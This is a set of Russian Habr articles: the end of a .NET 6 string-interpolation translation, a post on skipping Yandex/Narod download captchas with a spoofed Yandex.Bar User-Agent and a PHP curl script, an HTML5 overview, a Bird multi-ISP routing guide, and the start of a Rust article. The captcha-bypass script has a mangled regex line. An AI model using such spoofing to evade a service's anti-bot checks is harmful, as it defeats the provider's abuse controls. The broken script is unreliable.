public bool TryFormat(Span destination, out int charsWritten, ReadOnlySpan format, IFormatProvider? provider) =>
destination.TryWrite(provider, $"{X}, {Y}", out charsWritten);
```
И вот код после понижения:
```
public bool TryFormat(Span destination, out int charsWritten, ReadOnlySpan format, IFormatProvider? provider)
{
var handler = new TryWriteInterpolatedStringHandler(2, 2, destination, provider, out bool shouldAppend);
\_ = shouldAppend &&
handler.AppendFormatted(X) &&
handler.AppendLiteral(", ") &&
handler.AppendFormatted(Y);
return destination.TryWrite(provider, ref handler, out charsWritten);
}
```
Здесь происходят очень интересные вещи. Мы видим out bool из конструктора TryWriteInterpolatedStringHandler. Компилятор использует этот bool, чтобы решить, нужно ли делать любой из последующих вызовов Append: если bool — false, он замыкается и вообще не вызывает Append.
В подобной ситуации это ценно: конструктору передаётся и literalLength, и Span destination, в который он будет записывать. Когда конструктор видит, что длина литерала больше длины целевого Span, он знает, что интерполяция не удастся.
В отличие от DefaultInterpolatedStringHandler, который способен расти до произвольной длины, TryWriteInterpolatedStringHandler получает предоставленный пользователем диапазон, который должен содержать все записанные данные. Так зачем делать лишнюю работу?
Конечно, возможно, что литералы помещаются, а литералы плюс форматированные элементы — нет. Поэтому каждый метод Append здесь возвращает bool, указывающий, успешна ли операция. Если это не так из-за нехватки места, то компилятор снова может сократить все последующие операции. Важно отметить, что это замыкание позволяет не только избежать работы, которая выполнялась бы последующими методами Append. Не вычисляется и содержимое элемента формата. Представьте, что X и Y в этих примерах — дорогие вызовы методов. Условное вычисление означает, что бесполезной работы возможно избежать. О преимуществах подхода поговорим позже.
После выполнения (или невыполнения) всего форматирования обработчик передаётся исходному методу, который был вызван кодом разработчика. Затем реализация этого метода отвечает за заключительную работу. В нашем случае из обработчика извлекается информация о том, сколько символов записано и была ли операция успешной. Эта информация возвращается вызывающей стороне.
### Интерполяция внутри StringBuilder
StringBuilder — один из основных способов создания String со множеством методов изменения экземпляра String до того, как получить неизменямую строку. Методы StringBuilder включают несколько перегрузок AppendFormat, например:
```
public StringBuilder AppendFormat(string format, params object?[] args);
```
Они работают так же, как string.Format, но не создают новую строку, а записывают данные в StringBuilder. Рассмотрим вариант предыдущего примера FormatVersion, изменённый для добавления к билдеру:
```
public static void AppendVersion(StringBuilder builder, int major, int minor, int build, int revision) =>
builder.AppendFormat("{0}.{1}.{2}.{3}", major, minor, build, revision);
```
Это работает, но вызывает те же проблемы, что и string.Format. Кто-то, для кого важны эти промежуточные затраты (особенно если этот человек работает с пулом и повторно использует экземпляр StringBuilder), может предпочесть написать его вручную:
```
public static void AppendVersion(StringBuilder builder, int major, int minor, int build, int revision)
{
builder.Append(major);
builder.Append('.');
builder.Append(minor);
builder.Append('.');
builder.Append(build);
builder.Append('.');
builder.Append(revision);
}
```
Видно, к чему это приведёт. Но в .NET 6 появились перегрузки StringBuilder:
```
public StringBuilder Append([InterpolatedStringHandlerArgument("")] ref AppendInterpolatedStringHandler handler);
public StringBuilder Append(IFormatProvider? provider, [InterpolatedStringHandlerArgument("", "provider")] ref AppendInterpolatedStringHandler handler);
public StringBuilder AppendLine([InterpolatedStringHandlerArgument("")] ref AppendInterpolatedStringHandler handler);
public StringBuilder AppendLine(System.IFormatProvider? provider, [InterpolatedStringHandlerArgument("", "provider")] ref AppendInterpolatedStringHandler handler)
```
С их помощью можно переписать AppendVersion, сохраняя общую эффективность отдельных вызовов Append:
```
public static void AppendVersion(StringBuilder builder, int major, int minor, int build, int revision) =>
builder.Append($"{major}.{minor}.{build}.{revision}");
```
Компилятор транслирует код выше в отдельные вызовы Append, напрямую добавив каждый вызов в обёрнутый обработчиком StringBuilder:
```
public static void AppendVersion(StringBuilder builder, int major, int minor, int build, int revision)
{
var handler = new AppendInterpolatedStringHandler(3, 4, builder);
handler.AppendFormatted(major);
handler.AppendLiteral(".");
handler.AppendFormatted(minor);
handler.AppendLiteral(".");
handler.AppendFormatted(build);
handler.AppendLiteral(".");
handler.AppendFormatted(revision);
builder.Append(ref handler);
}
```
Новые перегрузки StringBuilder имеют преимущество: они действительно перегружают существующие Append и AppendLine. При передаче неконстантной интерполированной строки в метод с несколькими перегрузками, одна из которых принимает строку, а другая — допустимый обработчик интерполированной строки, компилятор предпочтёт перегрузку с обработчиком.
Это означает, что после перекомпиляции все существующие вызовы StringBuilder.Append и StringBuilder.AppendLine, которым в настоящее время передается интерполированная строка, станут лучше. Все отдельные компоненты будут добавляться к билдеру напрямую, без временной строки.
### Debug.Assert без оверхеда
Одна из трудностей в работе с Debug.Assert — желание предоставить множество полезных деталей в сообщении Assert. Но детали иногда бесполезны. Конечная цель Debug.Assert — уведомить, когда произошло что-то, что произойти не должно. Интерполяция строк позволяет легко добавить множество деталей к сообщению Assert:
```
Debug.Assert(validCertificate, $"Certificate: {GetCertificateDetails(cert)}");
```
И так же легко получить оверхед. Хотя Debug.Assert создан "только" для отладки, его влияние на производительность, например, тестов, может оказаться огромным, причём накладные расходы сильно снижают производительность разработчика, увеличивают количество ресурсов на непрерывную интеграцию, замедляют её и так далее. Здорово было бы работать с прекрасным синтаксисом интерполяции строк, избегая явно ненужных расходов. И это возможно.
Помните условность выполнения в примере со Span, где обработчик мог передавать значение bool, чтобы сообщить компилятору, следует ли замыкаться? Мы используем это преимущество через новые перегрузки Assert (WriteIf и WriteLineIf) в Debug:
```
[Conditional("DEBUG")]
public static void Assert(
[DoesNotReturnIf(false)] bool condition,
[InterpolatedStringHandlerArgument("condition")] AssertInterpolatedStringHandler message);
```
Когда Debug.Assert вызывается с интерполированным строковым аргументом, компилятор предпочтёт новую перегрузке со String. Для вызова наподобие (Debug.Assert(validCertificate, $"Certificate: {GetCertificateDetails(cert)}")) компилятор сгенерирует такой код:
```
var handler = new AssertInterpolatedStringHandler(13, 1, validCertificate, out bool shouldAppend);
if (shouldAppend)
{
handler.AppendLiteral("Certificate: ");
handler.AppendFormatted(GetCertificateDetails(cert));
}
Debug.Assert(validCertificate, handler);
```
Строка GetCertificateDetails(cert) вообще не создаётся, если конструктор обработчика установит shouldAppend в false. А он сделает это, когда переданное Boolean validCertificate окажется true. А дорогостоящая работа Assert не выполняется, когда значение по определению true. Очень круто.
Эта же техника, вероятно, окажется бесценной в смысле дополнительных API, например связанных с логированием. Может, вам захочется рассчитать сообщение, которое записывается в лог, только если логирование включено и установлено на достаточно высокий уровень.
#### Что дальше?
Такая интерполяция строк работает с версии .NET 6 Preview 7. Мы будем рады отзывам, и в частности о том, где ещё вы хотели бы видеть поддержку пользовательских обработчиков. Самые вероятные кандидаты — места, где данные предназначены для чего-то, кроме строки. Или места, где поддержка условного выполнения подходит целевому методу естественным образом.
Продолжить изучение программирования вы сможете на наших курсах:
* [Профессия C#-разработчик](https://skillfactory.ru/c-sharp-razrabotchik?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_cdev_050122&utm_term=conc)
* [Профессия Fullstack-разработчик на Python](https://skillfactory.ru/python-fullstack-web-developer?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_fpw_050122&utm_term=conc)
Узнайте подробности [здесь](https://skillfactory.ru/catalogue?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=sf_allcourses_050122&utm_term=conc).
Профессии и курсы**Data Science и Machine Learning**
* [Профессия Data Scientist](https://skillfactory.ru/data-scientist-pro?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=data-science_dspr_050122&utm_term=cat)
* [Профессия Data Analyst](https://skillfactory.ru/data-analyst-pro?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=analytics_dapr_050122&utm_term=cat)
* [Курс «Математика для Data Science»](https://skillfactory.ru/matematika-dlya-data-science#syllabus?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=data-science_mat_050122&utm_term=cat)
* [Курс «Математика и Machine Learning для Data Science»](https://skillfactory.ru/matematika-i-machine-learning-dlya-data-science?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=data-science_matml_050122&utm_term=cat)
* [Курс по Data Engineering](https://skillfactory.ru/data-engineer?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=data-science_dea_050122&utm_term=cat)
* [Курс «Machine Learning и Deep Learning»](https://skillfactory.ru/machine-learning-i-deep-learning?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=data-science_mldl_050122&utm_term=cat)
* [Курс по Machine Learning](https://skillfactory.ru/machine-learning?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=data-science_ml_050122&utm_term=cat)
**Python, веб-разработка**
* [Профессия Fullstack-разработчик на Python](https://skillfactory.ru/python-fullstack-web-developer?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_fpw_050122&utm_term=cat)
* [Курс «Python для веб-разработки»](https://skillfactory.ru/python-for-web-developers?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_pws_050122&utm_term=cat)
* [Профессия Frontend-разработчик](https://skillfactory.ru/frontend-razrabotchik?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_fr_050122&utm_term=cat)
* [Профессия Веб-разработчик](https://skillfactory.ru/webdev?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_webdev_050122&utm_term=cat)
**Мобильная разработка**
* [Профессия iOS-разработчик](https://skillfactory.ru/ios-razrabotchik-s-nulya?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_ios_050122&utm_term=cat)
* [Профессия Android-разработчик](https://skillfactory.ru/android-razrabotchik?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_andr_050122&utm_term=cat)
**Java и C#**
* [Профессия Java-разработчик](https://skillfactory.ru/java-razrabotchik?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_java_050122&utm_term=cat)
* [Профессия QA-инженер на JAVA](https://skillfactory.ru/java-qa-engineer-testirovshik-po?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_qaja_050122&utm_term=cat)
* [Профессия C#-разработчик](https://skillfactory.ru/c-sharp-razrabotchik?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_cdev_050122&utm_term=cat)
* [Профессия Разработчик игр на Unity](https://skillfactory.ru/game-razrabotchik-na-unity-i-c-sharp?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_gamedev_050122&utm_term=cat)
**От основ — в глубину**
* [Курс «Алгоритмы и структуры данных»](https://skillfactory.ru/algoritmy-i-struktury-dannyh?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_algo_050122&utm_term=cat)
* [Профессия C++ разработчик](https://skillfactory.ru/c-plus-plus-razrabotchik?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_cplus_050122&utm_term=cat)
* [Профессия Этичный хакер](https://skillfactory.ru/cyber-security-etichnij-haker?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_hacker_050122&utm_term=cat)
**А также**
* [Курс по DevOps](https://skillfactory.ru/devops-ingineer?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_devops_050122&utm_term=cat)
* [Все курсы](https://skillfactory.ru/catalogue?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=sf_allcourses_050122&utm_term=cat) | https://habr.com/ru/post/599341/ | null | ru | null |
# Как обойти каптчу в Яндекс.Диск
Итак, все мы знаем, что на яндексе можно хранить файлы до 5 гигабайт, но при загрузке он требует ввести каптчу или установить Яндекс.Бар. Так как Яндекс.Бар я не использую, то решил проверить, а собственно каким таким гениальным способом проверяет Яндекс этот самый пресловутый плагин?
Для этого эксперимента все-таки пришлось его установить на Firefox и используя плагин FireBug начать тестирование…
На яндекс.диск был закачан тестовый файл, в Firefox включен плагин FireBug и установлен Яндекс.Бар.
Для того чтобы FireBug заработал, надо включить панель Сеть.
обновляем страничку с файлом
И что же мы видим в консоли сети FireBug:
*User-Agent Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.1.1) Gecko/20090715 Firefox/3.5.1 (.NET CLR 3.5.30729) YB/4.2.0*
Неужели все так просто? Добавляется строчка YB/4.2.0 к строке User-Agent
Для проверки нашей догадки, устанавливаем плагин User Agent Switcher, создаем в нем еще одного агента и называем его Yandex.Bar, вставляем в поле User-Agent строчку выше, и включаем его. Выключаем плагин Яндекс.Бар и вуаля!
Яндекс бара нет, каптчи нет тоже :)
И на закуску php скрипт для загрузки без каптчи:
> `Copy Source | Copy HTML1. #!/usr/local/bin/php
> 2. php</font
> 3. $url = 'http://narod.ru/disk/fileurl';
> 4. $ch = curl\_init();
> 5. curl\_setopt($ch,CURLOPT\_URL,$url);
> 6. curl\_setopt($ch,CURLOPT\_RETURNTRANSFER,1);
> 7. curl\_setopt($ch,CURLOPT\_FOLLOWLOCATION,1);
> 8. curl\_setopt($ch,CURLOPT\_USERAGENT,'Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.3) Gecko/2008092417 Firefox/3.0.3 YB/3.5.3');
> 9. $in = curl\_exec($ch);
> 10.
> 11. if (!preg\_match('/,$in,$m)) {
> 12. die();
> 13. }
> 14.
> 15. $url ='http://narod.ru'.$m[1];
> 16.
> 17. curl\_setopt($ch,CURLOPT\_URL,$url);
> 18. print curl\_exec($ch);
> 19. curl\_close($ch);
> 20. ?>
> 21.`
P.S. К сожалению, сильно радоваться всему этому не стоит, так как на Яндекс.Диск стоит ограничение на загрузку без каптчи. | https://habr.com/ru/post/66949/ | null | ru | null |
# Что нового в HTML 5.0? Часть 3: Структура документа. Заключение.
В отличие от предыдущих версий HTML и XHTML, которые определяются браузерами их синтаксисом, HTML 5 определяется в зависимости от Document Object Model (DOM) — структура («дерево») документа считываемое браузером для отображения страницы. Например, рассмотрим очень простой документ, состоящий из заголовка, подзаголовка и некоторого текста. Структура DOM будет выглядеть так:
К иллюстрации: структура документа DOM состоит из элемента «title» в заголовка «h1» и «p» элементов в теле документа.
Преимущества такого определения HTML 5 по правилам DOM в том, что сам язык может определяться независимо от синтаксиса. Есть прежде всего два синтаксиса, которые могут быть использованы для представления HTML документов: серия HTML (HTML 5) и серия XML (XHTML 5).
Серия HTML относиться к синтаксису который исходит от SGML ранних версий HTML, но определяется для совместимости с браузерами, фактически, на практике как HTML.
> `An HTML Document
>
>
>
> Example
> =======
>
>
>
> This is an example HTML document.`
>
>
>
> Отметим, что в предыдущих версиях HTML некоторые теги необязательны и добавляются автоматически.
>
>
>
> Серия XML относится к синтаксису используемому в XML 1.0, ровно как и XHTML 1.0.
>
>
> > `An HTML Document
> >
> >
> >
> > Example
> > =======
> >
> >
> >
> > This is an example HTML document.`
>
>
>
>
>
> Если не учитывать различия в пробелах, а также присутствие атрибута xmlns, эти два примера эквивалентны.
>
>
>
> Браузеры используют типы **MIME** чтобы различать эти документы. Любой документ, представленный как "**text/html**" должен соответствовать требованиям, предъявляемым к серии HTML, и любой документ с XML MIME типом как **application/xhtml+xml** должен соответствовать требованиям, предъявляемым к серии XML.
>
>
>
> Разработчики должны осознанно выбирать ту или иную серию, что влияет на множество факторов. Не следует останавливаться на постоянном выборе какого-то одного типа, т.к. каждый из них оптимизирован под различные ситуации.
>
>
>
> **Преимущества использования HTML**
>
>
> > **1. Обратно совместимы с существующими браузерами**.
> >
> > 2. Разработчики уже знакомы с синтаксисом.
> >
> > 3. Используемый синтаксис означает, что пользователь не сталкнется с "[Желтым экраном смерти](http://en.wikipedia.org/wiki/Yellow_Screen_of_Death)", если ошибка все-таки случайно выскользнула.
> >
> > 4. Удобный сокращенный синтаксис, например, разработчики могут пропустить несколько тегов и атрибутов.
> >
> >
>
>
>
>
>
> **Преимущества использования XHTML**
>
>
> > 1. Строгий синтаксис XML заставляет разработчиков писать хорошо размеченный код, в котором смогут разобраться и другие разработчики.
> >
> > 2. Интегрируется непосредственно с другими XML словари, такими как SVG и MathML
> >
> > 3. Позволяет использовать XML Processing, который некоторые авторы используют как часть процесса редактирования и / или размещения.
> >
> >
>
>
>
>
>
> **Хотите помочь разработчикам HTML 5 ?**
>
>
>
> Работа по 5 HTML продолжается, и будет продолжаться в течение нескольких лет. Тестирования, требование добиться максимальной совместимости с разными браузерами, различные оценочные работы — все это **может занять около 15 лет**. В ходе этих разработок, общение с широким кругом людей, в том числе, веб-дизайнерами и разработчиками, поставщиками и продавцами браузеров имеет жизненно важное значение для обеспечения его успеха релиза этих разработок.
>
>
>
> В дополнение к спецификации, существует ряд других связанных с этим работ, чтобы помочь людям лучше понять процесс разработки.
>
>
>
>
> > 1. [Отличия от HTML 4](http://www.w3.org/html/wg/html5/diff/) описывают изменения, которые коснулись прошлых версих HTML.
> >
> > 2. [Принципы HTML дизайна](http://www.w3.org/TR/html-design-principles/) описывают основные правила, которые помогут принять решения и понять многие существующие принципы разработок.
> >
> > 3. [Руководство веб-разработчика HTML 5](http://dev.w3.org/html5/html-author/), было начато только недавно. Его задача — помочь веб-дизайнерам и разработчикам лучше разобраться в нововведениях HTML 5, передать опыт лучших разработчиков
>
>
>
>
>
> Есть множество способов, с помощью которых вы можете внести свой вклад в развитие HTML 5. Вы можете присоединиться к [W3C’s HTML WG](http://www.w3.org/html/wg/) или подписаться на рассылку [HTML WG](http://lists.w3.org/Archives/Public/public-html/) или [WIKI](http://esw.w3.org/topic/HTML/). Вы также можете подписаться на какую-либо из рассылок [WHATWG](http://www.whatwg.org/mailing-list), [общаться на форуме WHATWG](http://forums.whatwg.org/), добавить комментарий или написать статьи в [блог WHATWG](http://blog.whatwg.org/).
>
>
>
> Благодарю за внимание.
>
> | https://habr.com/ru/post/31404/ | null | ru | null |
# Домашний интернет: маршрутизация двух (и боле) провайдеров на основе Bird Routing Daemon
Наверное, многие пользователи домашнего интернета сталкивались с тем, как распараллелить два и более интернет-канала в домашней сети.
Эта проблему можно решить и хардварно (используя любое дешевое либо дорогое оборудование) и софтверно.
Какую же модель маршрутизации выбрать? Сразу можно отбросить RIP/OSPF/BGP, так как это домашний интернет и больше чем уверен (в моем случае и проверено), что вам не захотят делать поддержку на стороне провайдера бесплатно.
Остановил выбор на [bird](http://bird.network.cz/).
Итак, исходная позиция:
* Домашний раутер с Debian GNU/Linux 6.0.5 (squeeze) на борту
* 2 интернет канала (ISP1 и ISP2)
* 2 прямые руки
* чашка кофе
Конфигурация моей сети:
* eth0 — Провайдер 'ISP1':
+ IP: 10.10.10.106
+ Netmask: 255.255.255.0
+ Gateway: 10.10.10.1
* eth1 — Локальная сеть:
+ IP: 192.168.254.254
+ Netmask: 255.255.255.0
* eth2 — Провайдер 'ISP2':
+ IP: 172.17.5.105
+ Netmask: 255.255.255.0
+ Gateway: 172.17.5.1
Я любитель apt, однако как оказалось, в апте лежит довольно устаревшая версия bird (1.2.5-1) и там нет поддержки multipath.
Придется собрать это руками. Заранее намеренно опускаю всякий флейм, как не превратить debian в slackware.
```
# mkdir -p /usr/local/src/bird && cd /usr/local/src/bird
# wget ftp://bird.network.cz/pub/bird/bird-1.3.8.tar.gz
# tar xf bird-1.3.8.tar.gz
# cd bird-1.3.8
# ./configure --prefix=/usr --sysconfdir=/etc/bird --localstatedir=/var
# make
# make install
```
Как оказалось, в сорцах нет стартап-скрипта для Debian.
Генерируем стартап-скрипт (нагло взят из того же устаревшего пакета в апт-е и немного подкорректировав) */etc/init.d/bird* с таким содержанием:
```
#! /bin/sh
### BEGIN INIT INFO
# Provides: bird
# Required-Start: $remote_fs $syslog
# Required-Stop: $remote_fs $syslog
# Default-Start: 2 3 4 5
# Default-Stop: 0 1 6
### END INIT INFO
# Author: Ondřej Surý
#
# PATH should only include /usr/\* if it runs after the mountnfs.sh script
PATH=/sbin:/usr/sbin:/bin:/usr/bin
DESC="Internet routing daemon"
NAME=bird
DAEMON=/usr/sbin/$NAME
DAEMON\_ARGS="-c /etc/bird/bird.conf"
#PIDFILE=/var/run/$NAME.pid
SCRIPTNAME=/etc/init.d/$NAME
# Exit if the package is not installed
[ -x "$DAEMON" ] || exit 0
# Load the VERBOSE setting and other rcS variables
. /lib/init/vars.sh
# Define LSB log\_\* functions.
# Depend on lsb-base (>= 3.0-6) to ensure that this file is present.
. /lib/lsb/init-functions
#
# Function that starts the daemon/service
#
do\_start()
{
# Return
# 0 if daemon has been started
# 1 if daemon was already running
# 2 if daemon could not be started
start-stop-daemon --start --quiet --name $NAME --exec $DAEMON --test > /dev/null \
|| return 1
start-stop-daemon --start --quiet --name $NAME --exec $DAEMON -- \
$DAEMON\_ARGS \
|| return 2
# Add code here, if necessary, that waits for the process to be ready
# to handle requests from services started subsequently which depend
# on this one. As a last resort, sleep for some time.
}
#
# Function that stops the daemon/service
#
do\_stop()
{
# Return
# 0 if daemon has been stopped
# 1 if daemon was already stopped
# 2 if daemon could not be stopped
# other if a failure occurred
start-stop-daemon --stop --quiet --retry=TERM/30/KILL/5 --name $NAME --exec $DAEMON
RETVAL="$?"
[ "$RETVAL" = 2 ] && return 2
# Wait for children to finish too if this is a daemon that forks
# and if the daemon is only ever run from this initscript.
start-stop-daemon --stop --quiet --oknodo --retry=0/30/KILL/5 --name $NAME --exec $DAEMON
[ "$?" = 2 ] && return 2
return "$RETVAL"
}
#
# Function that sends a SIGHUP to the daemon/service
#
do\_reload() {
#
# If the daemon can reload its configuration without
# restarting (for example, when it is sent a SIGHUP),
# then implement that here.
#
start-stop-daemon --stop --signal 1 --quiet --name $NAME --exec $DAEMON
return 0
}
case "$1" in
start)
[ "$VERBOSE" != no ] && log\_daemon\_msg "Starting $DESC" "$NAME"
do\_start
case "$?" in
0|1) [ "$VERBOSE" != no ] && log\_end\_msg 0 ;;
2) [ "$VERBOSE" != no ] && log\_end\_msg 1 ;;
esac
;;
stop)
[ "$VERBOSE" != no ] && log\_daemon\_msg "Stopping $DESC" "$NAME"
do\_stop
case "$?" in
0|1) [ "$VERBOSE" != no ] && log\_end\_msg 0 ;;
2) [ "$VERBOSE" != no ] && log\_end\_msg 1 ;;
esac
;;
reload|force-reload)
#
# If do\_reload() is not implemented then leave this commented out
# and leave 'force-reload' as an alias for 'restart'.
#
log\_daemon\_msg "Reloading $DESC" "$NAME"
do\_reload
log\_end\_msg $?
;;
restart)
log\_daemon\_msg "Restarting $DESC" "$NAME"
do\_stop
case "$?" in
0|1)
do\_start
case "$?" in
0) log\_end\_msg 0 ;;
1) log\_end\_msg 1 ;; # Old process is still running
\*) log\_end\_msg 1 ;; # Failed to start
esac
;;
\*)
# Failed to stop
log\_end\_msg 1
;;
esac
;;
\*)
echo "Usage: $SCRIPTNAME {start|stop|restart|reload|force-reload}" >&2
exit 3
;;
esac
```
Стартап-скрипт готов, добавляем в авто-запуск:
```
# chmod +x /etc/init.d/bird
# update-rc.d bird enable
update-rc.d: using dependency based boot sequencing
```
Создадим директорию для логфайла:
```
# mkdir /var/log/bird
```
Теперь приступаем к конфигурированию самого bird.
Для начала, бакапим оригинальный конфиг и создаем новый:
```
# cd /etc/bird
# mv bird.conf bird-orig.conf
# :> bird.conf
```
Затем открываем его на редактирование:
```
#
# Logging
#
# Уровни логгирования.
# all эквивалентно { debug, trace, info, remote, warning, error, auth, fatal, bug }
# Например, мы хотим получить 2 отдельных файла с разными уровнями (в этом случае, две нижеследующие строчки следует раскомментировать):
# log "/var/log/bird/debug.log" { debug };
# log "/var/log/bird/warning.log" { warning };
log "/var/log/bird/bird.log" all;
# Router ID:
# Тут пишем IP-адрес вашей сетевой карты, которая смотрит в вашу домашнюю (не провайдера!) локалку.
router id 192.168.254.254;
#
# Debugging
#
# Уровни дебага:
# all | off | { states, routes, filters, interfaces, events, packets }
debug protocols { routes, interfaces };
#
# Protocols
#
# Сетевые устройства, которые будут мониториться на предмет смены маршрутов (в мойм случае - это eth0 и eth2)
protocol direct {
interface "eth0", "eth2";
}
#
# Tables
#
# Названия таблиц маршрутизации
# Описываем провайдеров ISP1 и ISP2:
table ISP_ISP1;
table ISP_ISP2;
# Таблица "другие":
table other;
# Таблица "master" - основная таблица маршрутизации (main). Внимание, указывать main нельзя!
table master;
#
# Protocol 'static'
#
protocol static {
table ISP_ISP1;
description "Home internet ISP1";
check link on;
preference 100;
route 0.0.0.0/0 via 10.10.10.1;
}
protocol static {
table ISP_ISP2;
description "Home internet ISP2";
check link on;
preference 150;
route 0.0.0.0/0 via 172.17.5.1;
}
protocol static {
table other;
description "Other custom static routes";
preference 200;
# Включение всех конфигов (если есть в наличие) в /etc/bird/static_route.d/
include "/etc/bird/static_route.d/*.conf";
}
protocol static {
table master;
description "Common Table";
# Это главная таблица, сюда вписываются все default-маршруты
route 0.0.0.0/0 multipath
via 10.10.10.1
via 172.17.5.1;
}
#
# Protocol 'kernel'
#
# Обратите внимание на комментарий в 'debug all'. Советую раскомментировать только на момент запуска или дебага.
# Оставлять дебаг с 'all' не советую. В противном случае, ваш лог-файл вырастет в сотни мегабайт, а то и больше.
#
# Опция 'persist' - не дает bird убирать маршруты, созданные им, после выключения (или нештатного "падения") bird.
# Опция 'learn' - указывает, что bird будет "изучать" все маршруты, которые были добавлены внешними средствами
# в таблицу 10/11/254 (далее мы разберем, что такое 10, 11, 254).
#
protocol kernel {
table ISP_ISP1;
persist;
learn;
scan time 20;
kernel table 10;
export all;
# debug all;
}
protocol kernel {
table ISP_ISP2;
persist;
learn;
scan time 20;
kernel table 11;
export all;
# debug all;
}
protocol kernel {
table master;
persist;
learn;
scan time 20;
kernel table 254;
export all;
# debug all;
}
#
# Protocol 'pipe.
#
# Главная таблица (default).
# Тут мы указываем, что в главную таблицу master будут импортироваться все маршруты, указанные в статических протоколах, описанных в ISP_ISP1, ISP_ISP2 и other.
protocol pipe {
table master;
peer table ISP_ISP1;
peer table ISP_ISP2;
peer table other;
import all;
# debug all;
}
```
Теперь создаем директорию для мануальных конфигов и для примера вносим некоторые маршруты:
```
# mkdir /etc/bird/static_route.d/
# cat << EOF >/etc/bird/static_route.d/ISP1_LAN.conf
route 10.0.5.0/24 via 10.10.10.1;
route 175.5.25.0/27 via 10.10.10.1; # сеть взята "с потолка", подразумевается, что это сеть белых IP провайдера ISP1
EOF
# cat << EOF >/etc/bird/static_route.d/ISP2_LAN.conf
route 194.22.253.23/27 via 172.17.5.1; # сеть взята "с потолка", подразумевается, что это сеть белых IP провайдера ISP2
route 5.9.0.0/16 via 172.17.5.1; # сеть взята "с потолка", подразумевается, что это сеть белых IP провайдера ISP2
EOF
```
Все, настройка bird закончена.
Теперь переходим к настройке таблиц маршрутизации.
Добавляем таблицы в /etc/iproute2/rt\_tables:
```
# cat << EOF >>/etc/iproute2/rt_tables
10 ISP1
11 ISP2
EOF
```
Теперь нужно сделать так, чтобы при запросе с сети ISP1 — пакеты шли обратно в ISP1, а не по другому интерфейсу.
Для этого нужно добавить ip rule(s):
Для этого создаем скрипты iprules:
Код /etc/network/if-up.d/iprules:
```
#!/bin/bash
ISP1_NETWORKS="10.0.5.0/24 175.5.25.0/27"
ISP2_NETWORKS="194.22.253.23/27 5.9.0.0/16"
if [ "${LOGICAL}" = "eth0" ]; then
for NET in ${ISP1_NETWORKS}; do
ip ru a from ${NET} table ISP1 2>/dev/null 1>/dev/null
done
fi
if [ "${LOGICAL}" = "eth2" ]; then
for NET in ${ISP2_NETWORKS}; do
ip ru a from ${NET} table ISP2 2>/dev/null 1>/dev/null
done
fi
```
Код /etc/network/if-down.d/iprules:
```
#!/bin/bash
ISP1_NETWORKS="10.0.5.0/24 175.5.25.0/27"
ISP2_NETWORKS="194.22.253.23/27 5.9.0.0/16"
if [ "${LOGICAL}" = "eth0" ]; then
for NET in ${ISP1_NETWORKS}; do
ip ru d from ${NET} table ISP1 2>/dev/null 1>/dev/null
done
fi
if [ "${LOGICAL}" = "eth2" ]; then
for NET in ${ISP2_NETWORKS}; do
ip ru d from ${NET} table ISP2 2>/dev/null 1>/dev/null
done
fi
```
Ставим флажок +x:
```
# chmod +x /etc/network/if-{up,down}.d/iprules
```
Теперь все ~~ребутим~~запускаем:
Чтобы не копипастить команды, сделаем хитрее:
```
# LOGICAL=eth0 /etc/network/if-up.d/iprules
# LOGICAL=eth2 /etc/network/if-up.d/iprules
```
Запускаем bird:
```
# invoke-rc.d bird start
```
Проверяем:
```
# ip r
10.0.5.0/24 via 10.10.10.1 dev eth0 proto bird
175.5.25.0/27 via 10.10.10.1 dev eth0 proto bird
194.22.253.23/27 via 172.17.5.1 dev eth2 proto bird
5.9.0.0/16 via 172.17.5.1 dev eth2 proto bird
10.10.10.0/24 dev eth0 proto kernel scope link src 10.10.10.106
172.17.5.0/24 dev eth2 proto kernel scope link src 172.17.5.105
192.168.254.0/24 dev eth1 proto kernel scope link src 192.168.254.254
default proto bird
nexthop via 10.10.10.1 dev eth0 weight 1
nexthop via 172.17.5.1 dev eth2 weight 1
```
Теперь ~~выдергиваем шнурок~~отключаем сетевой кабель от ISP1 (eth0), смотрим, что изменилось:
```
# ip r | grep -E "(default|nexthop)"
default proto bird
nexthop via 10.10.10.1 dev eth0 weight 1 dead
nexthop via 172.17.5.1 dev eth2 weight 1
```
То есть, если один из провайдеров случайно отключился, трафик пойдет через другой, отключенный провайдер будет мониториться каждые 20 секунд (см. опцию scan time 20 в протоколах kernel) и при появлении автоматически уберет 'dead'.
В заключение: таким же образом, можно добавить и 10 провайдеров. | https://habr.com/ru/post/160047/ | null | ru | null |
# Тесты или типы? — Rust version
Пару дней назад [0xd34df00d](https://habr.com/ru/users/0xd34df00d/) опубликовал здесь [перевод](https://habr.com/ru/post/467677/) статьи, описывающей, что можно узнать о функции в разных языках, если рассматривать её как "чёрный ящик", не используя информацию о её реализации (но, разумеется, не мешая ей пользоваться компилятору). Разумеется, получаемая информация очень сильно зависит от языка — в исходной статье рассматривались четыре примера:
* Python — динамически типизированный, информации минимум, какие-то подсказки дают только тесты;
* C — слабо статически типизированный, информации ненамного больше;
